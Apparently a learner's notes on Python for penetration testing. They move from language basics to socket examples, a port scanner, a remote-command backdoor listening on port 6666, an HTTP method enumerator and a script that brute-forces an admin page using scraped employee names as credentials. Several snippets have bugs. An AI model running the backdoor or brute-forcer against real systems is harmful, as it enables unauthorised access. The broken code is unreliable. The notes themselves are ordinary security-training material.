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Python

Python is:

  • Cross-platform.

  • Free.

  • Interpreted.

  • Usable in conjunction with components written in some other languages.

  • Uses whitespace and indentation to determine block structures.

  • Python does not use brackets to delimit a block, using indentation instead.

  • A delimiter isn't needed (as ';').

  • There isn't the need to declare the type of a variable.

  • The following is interpreted as False: 0, False, None, "", []. Everything else is considered as True.

  • Comparison and Logical operators: <, <=. ==, >, >=, !=, is, is not, in, not in, And, Or, Not.

  • There isn't a switch / case statement.

Operators:

=, +, -, *, /, // (division, with results in truncation), ** (exponentiation), %

You can use:

"allow 'single' quotes"
'allow "double" quotes'
'''contain single and double quotes'''
# String manipulation

x = "Hello World!"
print(x[0])       # H
print(x[1])       # e
print(x[-1])      # !
print(x[0:3])     # Hel
print(x[4:])      # o World!
print(x[:])       # Hello World!

# Input/Output

user_input = input("Message ")
print("User's message:", user_input)

# Conditions
if expression:
  statement
else :
  statement

# Loops

while condition:
  statements_block
post_while_statements

for item in sequence
  for_statements
post_for_statements

# Ranges

range(5) # contains values from 0 to 4
range(0,5) # 0, 1, 2, 3, 4

Lists

  • Ordered collections of any type of object

  • The general form of a list is a comma-separated list of elements, embraced in square brackets

  • Lists are mutable, elements can be modified by assignments

  • Python implements many functions that can be used to modifyu a list:

    • append: append a new element to the target list

    • extend: allows to add one list to another

    • insert: add a new list element right before a specific index

    • del: delete list items or slices, indices are automatically updated

    • remove: it does not work with indices, instead it looks for a given value within the list and it removes that element

    • .pop(i): removes the item at the given position

    • .sort(): sorts a list (items must be of the same type)

    • .reverse(): reverses the order of the elments in the list

simple_list = [1, 2, 3, 4, 5]
list = [1, 2, "els", 4, 5, "something, [0,9]]

x = [1, 2, 3, 4, "els", 5, 6]
del x[2]      # [1, 2, 4, "els", 5, 6]
del x[2]      # [1, 2, "els", 5, 6]
del x[2:]     # [1, 2]
x.remove(2)   # [1]

Dictionaries

  • Similar to associative arrays

  • Mapping objects

  • Instead of being indexed by numbers, dictionaries are using keys for indexing elements

  • We have some methods:

    • .values(): returns all the values stored in the dictionary

    • .keys(): returns all the keys stored in the dictionary

    • .items(): returns all the keys and values in the dictionary

  • We can also check wif an specific item exists using the existing two following methods:

    • key in dictionary

    • get(key, message): if the key exists, returns the associated value, otherwise prints the message passed as an parameter

dictionary = {'first': 'one', 'second': 2}
# Functions
# - `function_name.__doc__` shows function description
# - each call to a function creates a new local scope as well as the assigned names within a function that are local to that function
# - global variables can ge used within the function, but to do that we need to insert the keyword  `global` followed by the variable name

def function_name(param1, param2, ...):
  """ function documentation """
  function_statements
  return expression


# Modules
#  A module is a file that contains source code

from module_name import object_name1, object_name2, ...
from module_name import *

Network sockets

""" server.py """
""" Binds itself to a specific address and port and will listen for incoming TCP communications """

import socket

SVR_ADDR = input("Type the server IP address: ")
SRV_PORT = input("Type the server port: ")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Default family socket, using TCP and the default socket type connection-oriented (SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)

print("Server started! Waiting for connections...")
connection, address = s.accept()                      # 'connection' is the socket object we will use to send and receive data, 'address' contains the client address bound to the socket
print('Client connected with address:', address)
while 1:                                              # maximum number of queued connections
  data = connection.recv(1024)
  if not data: break
  connection.sendall(b'-- Message Received --\n')
  print(data.decode('utf-8'))
connection.close()
nc <server_ip> <port>
""" client.py """
import socket

SVR_ADDR = input("Type the server IP address: ")
SRV_PORT = input("Type the server port: ")

my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SVR_ADDR, SRV_PORT))
print("Connection established")

message = input("Message to send: ")
my_sock.sendall(message.encode())
my_sock.close()

Port Scanner

  • Instead of using connect() we'll use connect_ex(), which returns - if the operation succeeded.

  • This script will use the full 3-way handshake.

import socket

target = input('Enter the IP address to scan: ')
portrange = input('Enter the port range to scan (ex 5-200): ')

lowport = int(portrange.split('-')[0])
highport = int(portrange.split('-')[1])

print('Scanning host ', target, 'from port', lowport, 'to port', highport)

for port in range(lowport, highport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  status = s.connect((target, port))
  if (status ==0):
    print('*** Port', port, ' - OPEN ***')
  else:
      print('*** Port', port, ' - Closed ***')
  s.close()

Backdoor

The program simply binds itself to a NIC and a specific port (6666) and then waits for the client commands. Depending on the command received, it will return specific information to the client.

import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 6666

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

while 1:
  try:
    data = connection.recv(1024)
  except:continue

    if(data.decode('utf-8') == '1'):
      tosend = platform.platform() + " " + platform.machine()
      connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
      data = connection.recv(1024)
      try:
        filelist = os.listdir(data.decode('utf-8'))
        tosend = ""
        for x in filelist:
          tosend += "," + x
      except:
        tosend += "Wrong path"
      connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
      connection.close()
    connection, address = s.accept()

Example: HTTP verifier

Build a Python program that, given an IP address/hostname and port, verifies if the remote Web Server has the HTTTP method OPTIONS enabled.

If it does, it tries to enumerate all the other HTTP methods allowed.

import http.client

host = input('Host?')
port = input('Port?')

if(port == ""):
  port = 80

try:
  connection = http.client.HTTPConnection(host, port)
  connection.request('OPTIONS', '/')
  response = connection.getresponse()
  print("Enabled methods are: ", response.getheader('allow'))
  connection.close()
except ConnectionRefusedError:
  print("Connection failed")

Example: HTTP, GET request and check status code

import http.client

host = input('Host?')
port = input('Port?')
url = input('URL?')

if(port == ""):
  port = 80

try:
  connection = http.client.HTTPConnection(host, port)
  connection.request('GET', url)
  response = connection.getresponse()
  print("Enabled methods are: ", response.status)
  connection.close()
except ConnectionRefusedError:
  print("Connection failed")

Example: Develop a brute-forcing script in Python, that will use employee details as credentials

import requests
from bs4 import BeautifulSoup as bs4

def downloadPage(url):
    r = requests.get(url)
    response = r.content
    return response

def findNames(response):
    parser = bs4(response, 'html.parser')
    names = parser.find_all('td', id='name')
    output = []
    for name in names:
        output.append(name.text)
    return output

def findDepts(response):
    parser = bs4(response, 'html.parser')
    names = parser.find_all('td', id='department')
    output = []
    for name in names:
        output.append(name.text)
    return output

def getAuthorized(url, username, password):
    r = requests.get(url, auth=(username, password))
    if str(r.status_code) != '401':
        print "\n[!] Username: " + username + " Password: " + password + " Code: " + str(r.status_code) + "\n"

page = downloadPage("http://172.16.120.120")

names = findNames(page)
uniqNames = sorted(set(names))

depts = findDepts(page)
uniqDepts = sorted(set(depts))

print "[+] Working... "
for name in uniqNames:
    for dept in uniqDepts:
        getAuthorized("http://172.16.120.120/admin.php", name, dept)
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